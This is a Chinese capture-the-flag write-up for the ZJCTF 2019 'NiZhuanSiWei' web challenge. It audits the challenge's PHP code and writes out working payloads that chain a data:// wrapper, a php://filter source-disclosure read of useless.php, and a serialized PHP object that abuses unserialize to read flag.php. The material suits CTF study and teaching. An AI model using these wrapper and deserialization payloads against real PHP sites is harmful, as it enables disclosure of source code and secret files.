web:[ZJCTF 2019]NiZhuanSiWei1
题目
点进题目,网页显示如下,需要代码审计
$_GET["text"]
和$_GET["file"]
来获取传入的两个参数text
和file
。- 使用
isset()
函数来检查$text
变量是否已设置并且不为null。如果设置了并且不为null,则执行下面的逻辑。 - 在下面的逻辑中,脚本使用
file_get_contents()
函数读取$text
指定的文件内容,并将其与字符串"welcome to the zjctf"
进行比较。如果相等,则输出文件内容并继续执行下面的逻辑。 preg_match()
函数来检查$file
变量中是否包含字符串"flag"
。如果包含,则输出Not now!
并退出脚本。否则,继续执行下面的逻辑。- 使用
include()
函数来包含$file
指定的文件(useless.php
)。然后,使用unserialize()
函数对$password
进行反序列化,并将结果赋值给$password
变量。最后,输出$password
的值。 - 如果在步骤2中检查到
$text
变量未设置或为null,或者在步骤3中文件内容不等于"welcome to the zjctf"
,则输出脚本本身的源代码。
file_get_contents是得读取到文件里的内容,而$text是一个变量,file_get_contents不能读取一个变量,所以必须让变量伪装成一个文件,就得使用php伪协议中的 data://协议,就是把字符串包装成一个文件来执行
在代码页面发现了useless.php,访问过后什么都没有空白一片
判断可能需要php://filter读取,通过以上判断需要php伪协议
先使用data://协议匹配第一个内容,则payload为
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
if(preg_match("/flag/",$file))
这里限制了file=flag.php
但是下面还提示了一个useless.php,则payload为
file=php://filter/read=convert.base64-encode/resource=useless.php
还要加上上一个的payload
显示如下,base64解码即可
解码后显示如下
根据上述信息,构造一个代码
<?php
class Flag
{
public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>
据题目给的代码,需要将代码序列化之后,会赋值给password,password会被反序列化成原来的代码再赋值给password,然后echo $password,这里构造的php代码(file)就是一个类,通过base64解码之后得到代码中_tostring这个函数,在类被echo会被调用,就相当于echo 了一个类,就会触发到我们写的代码里的tostring
所以构造payload为
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
加上之前的payload
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码
参考文章链接:
[ZJCTF 2019]NiZhuanSiWei 1-CSDN博客
[ZJCTF 2019]NiZhuanSiWei1 详解_[zjctf 2019]nizhuansiwei 1-CSDN博客